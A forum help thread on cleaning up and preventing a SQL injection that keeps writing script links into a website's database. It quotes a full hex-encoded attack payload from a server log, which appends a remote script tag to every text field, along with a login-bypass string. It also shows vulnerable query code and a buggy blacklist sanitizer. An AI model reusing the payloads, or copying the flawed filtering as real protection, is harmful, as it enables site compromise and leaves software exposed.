SQL virus code keeps readding itself after being removed; How do I stop it from rewriting itself in the DB?

I've had experience with that one. You have bad programming in your website. If you check your web server logs, you'll find some VERY long entries to dynamic pages... Those are causing your SQL server to deploy this code to every text field in your DB.

The same thing is happening to me. How do i get this removed ?
And what do you mean by very ling entries to dynamic pages ?

A

To give you an example, the site I had to fix had a simple catalog in it. When you selected a product, you'd get the following link to click on:
http://www.mysite.com/itemdetail.asp?ItemID=55
And in the VBScript in the code behind, the program was:
sqlquery = "SELECT * FROM PRODUCTS WHERE ItemID = " & Request.QueryString("ItemID")
Here's the problem...that code is open to a SQL Injection Attack.
What I saw in my IIS logs showed a call to that page that was HUGE actually and looked kind of like:
itemdetail.asp?ItemID=55;ABFFEDBCED<truncated because this was HUGE>
It was a little more complicated than that because there was actually some sort of funciton call that I dont remember before all of the crap, but it was some kind of call to have teh SQL Server decrypt the string and run it. When I decypted it manually, I found a SQL script that would scan your database for all the text fields in all the available tables, and then append the links to every text field.
You need to look into stored procedures or paramaterized queries...or even simply removing single quotes, double quotes, and semi-colons from your forms inputs before joining them to a SQL query.

Here's a link to microsoft's site that explains some of this SQL injection attack stuff:
http://msdn.microsoft.com/en-us/library/ms161953.aspx 

Yeah, i have been over that, so its not a virus its someone injecting code in my database ?  
Is this like a person trying to hack into our system ?

Here's an example from a IIS site log that shows an example of this sort of attack...
 2007-12-30 18:22:46 POST /itemdetail.asp?ItemID=55;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST (0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002 C0040004300200076006100720063006800610072002800320035003500290020004400450043004C004100520045002 0005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002 000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006 F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006 E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E0064002 00061002E00780074007900700065003D00270075002700200061006E0064002000280062002E0078007400790070006 5003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E007 80074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D003100360037002 90020004F00500045004E0020005400610062006C0065005F0043007500720073006F007200200046004500540043004 80020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007 200200049004E0054004F002000400054002C004000430020005700480049004C0045002800400040004600450054004 30048005F005300540041005400550053003D0030002900200042004500470049004E002000650078006500630028002 70075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B004 00043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006 800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C007300630072006900700074002 0007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E0063006F006D002 F0030002E006A0073003E003C002F007300630072006900700074003E002700270027002900460045005400430048002 0004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F0072002 00049004E0054004F002000400054002C0040004300200045004E004400200043004C004F00530045002000540061006 2006C0065005F0043007500720073006F00720020004400450041004C004C004F0043004100540045002000540061006 2006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);|178|80040e14| Unclosed_quotation_mark_before_the_character_string_G;DECLARE_@S_NVARCHAR(4000);SET_@S=CAST (0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002 C004000430020002. - 202.101.162.73 HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - 500 15248
 
As I said...LONG log file entry. That's what finally caugt my eye on cleaning out the website I was working on.

No, there is probably not an active person attacking your website. It is probably a virus/trojan/zombie that is automatically crawling the web trying to inject this crud into people's systems...so that when they get the virus, it tries to infect other web servers.

Bottom line is this...this attack is VERY easy to prevent. It is called input validation. You should NEVER add unfiltered variables that are supplied to the user to ANY sort of string you send straight to the database. Either filter them or send them through as parameters or part of a stored procedure.
First time I ever created a login system backed by a database, a friend showed me a simple SQL injection attack that allowed him access through my login EVERY time.

So, which type of characters should I not allow in my DB ?
The login page already doesnt allow the '  character. What else you recommend ?

Other than that everything is behind the username/password page.

What did you do to prevent your injection attack, which type of characters did you not allowed in your login page ?  
Should I do the same once they are passed the login page ?  or that should be enough to prevent this bot from getting in .. and is there a way to know where it is inserting the code ?  which ASP page.

Here's what I did on my ASP pages....It's in VBScript.
However, you're MUCH better off looking into parametrized queries or stored procedures, but this usually solves the problem.

Function StripSQL(txt)
  StripSQL = Replace(text, "'", "")
  StripSQL = Replace(StripSQL, ";", "")
  StripSQL = Replace(StripSQL, Chr(34), "")
End Function

sqlquery = "SELECT * FROM PRODUCTS WHERE ItemID = " & StripSQL(Request.QueryString("ItemID"))

Select allOpen in new window

Should I do this in ALL my queries ? or just the one in the login page ?

Honestly, you'll want to do this on EVERY page where you rea a user supplied variable and append it to an SQL query. There's no good way to tell exactly which pages are being attacked because these attacks usually try all of your dynamic pages hoping for a hit. (Similar to a search engine crawler).
You most DEFINTELY want to get this code or some protection on a login page as it is VERY easy to bypass a login page that is open to SQL injection attacks. For instance, take this query:
loginSQL = "SELECT * FROM User WHERE UserName = '" & Request.Form("User") & "' AND Password = '" & Request.Form("Password") & "'"
Soooo, what would happen if I put these credentials in:
User -->                ' OR 'test' = 'test
Password -->      ' OR 'test' = 'test
If we look at the SQL query that would result if after doing the VBScript line above with these credentials, we see:
SELECT * FROM User WHERE UserName = ' ' OR 'test' = 'test' AND Password = ' ' OR 'test' = 'test'
Hmmm, that's not good is it, you'll get quite a bit back won't you, like maybe the entire table? And isn't the admin account sometimes the first account in the user table? Ouch...so with that simple injection on an un-protected login page, I may have just gotten logged in with ADMIN credentials! Woopsie!
Notice that my example is defeated instanatly by stripping quotes out...and the attack that injects the script for your server to execute is defeated by removing semi-colons.

This is my query from the login page, is this OK ?

select * from dbo.vulogdtls   WHERE Loginid = '"+ EmployeeLogin__usxusername.replace(/'/g, "''") + "' AND Password = '"+ EmployeeLogin__usxpassword.replace(/'/g, "''") + "'   AND (ExpDate >= getdate() OR ExpDate IS NULL)";

Would a robot be able to do this in pages that are password protected ? ( If a session doesnt exist it redirects you.)

It *shouldn't* be able to, but it depends on how your code works. If it processes ANYTHING before the redirect happens, it could be vulnerable.
Also, in all honesty, best practices state that you probably don't want to pull the record based on both username AND password.
Select from users where username = supplied username
if recordset found then see if supplied password is equal to the password in the recordset
If recordset not found or supplied password doesn't equal the one in the recrodset, raise an error.
 

Thats what I do ... so perhaps this is being done from another page ?

Can a robot navigate to password secured pages ?

It depends on your web server's setup and how the authentication is controlled. If you're using a simple cookie 'token' authentication method, then yes, a robot can navigate to password secured pages. Other authentication methods *might* disallow navigation to protected pages (.net's FormAuthentication for instance will block even navigation of secured .aspx pages without a token)

We use session variables, but we do store the user/passwd in a cookie, which basically just displays them in the login page next time user goes in.

We are able to remove the code from the DB but we are having a hard time finding where the SQL injection is coming from. Thoughts?

As I stated, it is most likely coming from someone sending a 'package' through a dynamic page on your site. Common targets are login pages and catalog pages.

We got the code back from the trace, we identified the code to be from one of our pages which saves a lot of data into the database. Ill keep everyone posted.